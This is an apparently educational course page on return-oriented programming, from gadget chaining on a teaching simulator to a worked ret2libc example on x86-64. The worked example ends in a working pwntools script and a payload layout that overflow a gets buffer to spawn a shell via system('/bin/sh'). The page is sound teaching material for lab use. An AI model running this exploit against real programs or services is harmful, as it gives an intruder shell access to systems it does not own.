Skip to main content
Be Bitwise

Building a ROP Chain

Return-Oriented Programming · Exploitation Fundamentals track

7 min read

In this module

Chaining Gadgets Through the Stack

Now you understand individual gadgets. The key insight of ROP is how they connect: each gadget's RET instruction pops the next address from the stack and jumps to it. By laying out gadget addresses consecutively on the stack, the attacker creates a program that executes without any CALL instructions.

The Stack as a Program

In normal execution, the stack holds return addresses from CALL instructions. In a ROP chain, the attacker fills the stack with a sequence of gadget addresses. The chain begins when the first RET executes (from the overflowed function). From that point, every RET loads the next gadget address from the stack:

ROP Chain Layout

Stack (SP →)
1.0x401000→gadget 1◄ active
2.0x401010→gadget 2
3.0x401020→gadget 3
Code (Gadgets)
0x401000gadget 1
inst1; ret
0x401010gadget 2
inst2; ret
0x401020gadget 3
inst3; ret
Each RET pops the next address from the stack and jumps to it, chaining gadgets together.
  1. RET pops address of gadget 1, jumps there. Gadget 1 runs, ends with RET.
  2. RET pops address of gadget 2, jumps there. Gadget 2 runs, ends with RET.
  3. RET pops address of gadget 3, jumps there. Gadget 3 runs, ends with RET.

No CALL is ever used. The stack pointer advances through the chain automatically as each RET pops the next address.

For the best simulation experience, use a desktop browser.

Assembly

200ms

Registers

R00
0x0000
R10
0x0000
R20
0x0000
R30
0x0000
R40
0x0000
R50
0x0000
R60
0x0000
R70
0x0000
PC0
0x0000
SP255
0x00FF
FLAGS0x00
ZCVN

ALU

Idle

Memory

PCSPWatched
Memory contents — rows indexed by base address, columns by hex offset
Address0123456789ABCDEF
0000000000000000000000000000000000
1000000000000000000000000000000000
2000000000000000000000000000000000
3000000000000000000000000000000000
4000000000000000000000000000000000
5000000000000000000000000000000000
6000000000000000000000000000000000
7000000000000000000000000000000000
8000000000000000000000000000000000
9000000000000000000000000000000000
A000000000000000000000000000000000
B000000000000000000000000000000000
C000000000000000000000000000000000
D000000000000000000000000000000000
E000000000000000000000000000000000
F000000000000000000000000000000000

Pipeline

Cycle 0
Fetch
Decode
Execute
Writeback
→
→
→
No instruction loaded

Step through the simulation above. Watch each gadget execute its single instruction, then RET hands control to the next. In a real ROP attack, the addresses of g1, g2, and g3 would be placed on the stack by the attacker rather than reached through CALL - but the chaining mechanism through RET is identical.

ROP Chain

A ROP chain is a sequence of gadget addresses placed on the stack by an attacker. Each gadget's RET instruction pops the next address, creating a chain of execution entirely from existing code. The stack effectively becomes the attacker's program counter, and the RET instruction is the "fetch next instruction" mechanism.

Interleaving Data and Gadgets

When a chain includes POP gadgets, the stack must contain both addresses and data values interleaved:

ROP Chain Layout

The overflow has written the chain. Press Step to let the function return.

Stack (SP →)
1.0x401000→pop R0; ret
2.0x03→value for R0
3.0x401010→pop R1; ret
4.0x05→value for R1
5.0x401020→add R0, R1; ret
Code (Gadgets)
0x401000pop R0; ret
pop R0; ret
0x401010pop R1; ret
pop R1; ret
0x401020add R0, R1; ret
add R0, R1; ret
Each RET pops the next address from the stack and jumps to it, chaining gadgets together.

Press Step and follow which slots get jumped to and which get swallowed as data. The POP instruction consumes the next stack slot as a data value, not a gadget address. The attacker must carefully calculate the layout so that each POP gets a data value and each RET gets a gadget address.

The Power of the Technique

With enough gadgets, an attacker can perform arbitrary computation: load registers, do arithmetic, read and write memory, invoke system calls. The program's legitimate code becomes the attacker's toolbox. The stack becomes their instruction stream. All of it runs from executable memory — DEP/NX doesn't get a vote.

Worked Example: system("/bin/sh") on x86-64

Time to swap the teaching registers for real ones. The target is the shape of the Ret2Libc lab: a non-PIE x86-64 binary that reads input with gets into a 64-byte buffer, no canary, NX on, and ASLR switched off so libc loads at the same address every run. The goal is the classic one: call system("/bin/sh").

Three facts from earlier lessons set the plan. The offset to the return address is 72 bytes (64 for the buffer, 8 for saved rbp). system takes its argument in rdi, per the System V AMD64 ABI. And the argument is a pointer to a string, so the chain needs the address of some "/bin/sh" bytes, not the bytes themselves. Conveniently, glibc contains that exact string, because system itself uses it to start the shell.

Here's what you collect, all illustrative (every libc build has different offsets, so recompute these for your own target):

ItemWhere it comes fromValue
libc baseprinted by the lab binary, or info proc mappings in gdb0x7ffff7da2000
systembase + libc.sym.system offset 0x50d700x7ffff7df2d70
"/bin/sh"base + offset found with strings -a -t x libc.so.60x7ffff7f7a698
exitbase + offset 0x455f00x7ffff7de75f0
pop rdi; retROPgadget --binary vuln0x4011fb
retsame listing0x40101a

First attempt

The obvious chain is three slots after the padding: pop rdi; ret, the string pointer, system. Run it and you'll quite likely get a segmentation fault inside system, on an instruction like movaps xmmword ptr [rsp+0x50], xmm0 (the exact offset varies by glibc version). The chain was right. The stack wasn't aligned.

The ABI requires rsp to be a multiple of 16 just before any call, so a function begins with rsp ending in 8. movaps stores 16 bytes and faults if its memory operand isn't 16-byte aligned, and glibc's system has one that writes to its own stack frame. Count the slots: the vulnerable function's return address sits at an address ending in 8. Each slot is 8 bytes, so the three slots end in 8, 0 and 8. system's address is in the third one, and popping it leaves rsp pointing at the slot after, which ends in 0. Off by 8.

The fix is the cheapest gadget there is: a bare ret (c3), which pops one slot and moves on. One extra slot flips the parity.

The final chain

The vulnerable function's frame has rbp = 0x7fffffffe0c0, so the buffer starts at 0x7fffffffe080 and the return address is at 0x7fffffffe0c8. Stack addresses are illustrative too.

Payload offsetSlot addressContentsConsumed byrsp afterwards
0x00–0x47...e080–...e0c772 bytes of Anothing; buffer and saved rbp
0x48...e0c80x4011fb (pop rdi; ret)ret of the vulnerable function...e0d0
0x50...e0d00x7ffff7f7a698 (pointer to "/bin/sh")pop rdi...e0d8
0x58...e0d80x40101a (ret)ret of the pop rdi gadget...e0e0
0x60...e0e00x7ffff7df2d70 (system)the alignment ret...e0e8
0x68...e0e80x7ffff7de75f0 (exit)system's own ret, after the shell exits

Read the last column at the system row: rsp is ...e0e8 when system starts, ending in 8, exactly as if it had been called. The exit slot is a courtesy. Without it, system returns into whatever follows the payload and the process crashes when you leave the shell, which is noisy in logs and can stop a remote service from cleaning up.

Here is the same chain in the visualiser. Step through it and check each note against the table's last column:

ROP Chain Layout

The overflow has written the chain. Press Step to let the function return.

Stack (SP →)
1.0x4011FB→pop rdi; ret
2.0x7FFFF7F7A698→pointer to the /bin/sh string
3.0x40101A→ret (alignment)
4.0x7FFFF7DF2D70→system
5.0x7FFFF7DE75F0→exit
Code (Gadgets)
0x4011FBpop rdi; ret
pop rdi; ret
0x40101Aret (alignment)
ret
0x7FFFF7DF2D70system
libc system()
0x7FFFF7DE75F0exit
libc exit()
Each RET pops the next address from the stack and jumps to it, chaining gadgets together.

The pwntools script

python
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process(elf.path)
libc.address = 0x7ffff7da2000 # from the binary's output or gdb
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
ret = rop.find_gadget(['ret']).address
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat(
b'A' * 72,
pop_rdi, binsh,
ret,
libc.sym.system,
libc.sym.exit,
)
io.sendline(payload)
io.interactive()

Setting libc.address rebases every symbol, so libc.sym.system and the result of libc.search come back as full addresses rather than offsets. flat packs each integer as 8 little-endian bytes because context.binary says the target is 64-bit. pwntools' ROP object can build the call for you too (rop.call(libc.sym.system, [binsh]) puts in the pop rdi slot itself, once the gadget is in its catalogue), but it won't add the alignment ret, so you still insert that yourself.

One last check before sending: gets stops at a newline, so no packed address may contain 0a. None of these do. If one had, you'd pick a different ret gadget or a different copy of "/bin/sh".

Predict: you put the alignment ret first instead, giving ret, pop rdi; ret, pointer, system. Does system still start aligned?

Yes. Alignment depends only on how many 8-byte slots are consumed before system is entered, not on where the extra one sits. Both versions consume four slots (three popped by ret instructions, one by pop rdi), so system starts with rsp ending in 8 either way. What would break it is an odd change, for example swapping pop rdi; ret for a pop rdi; pop rbp; ret gadget without removing the alignment ret.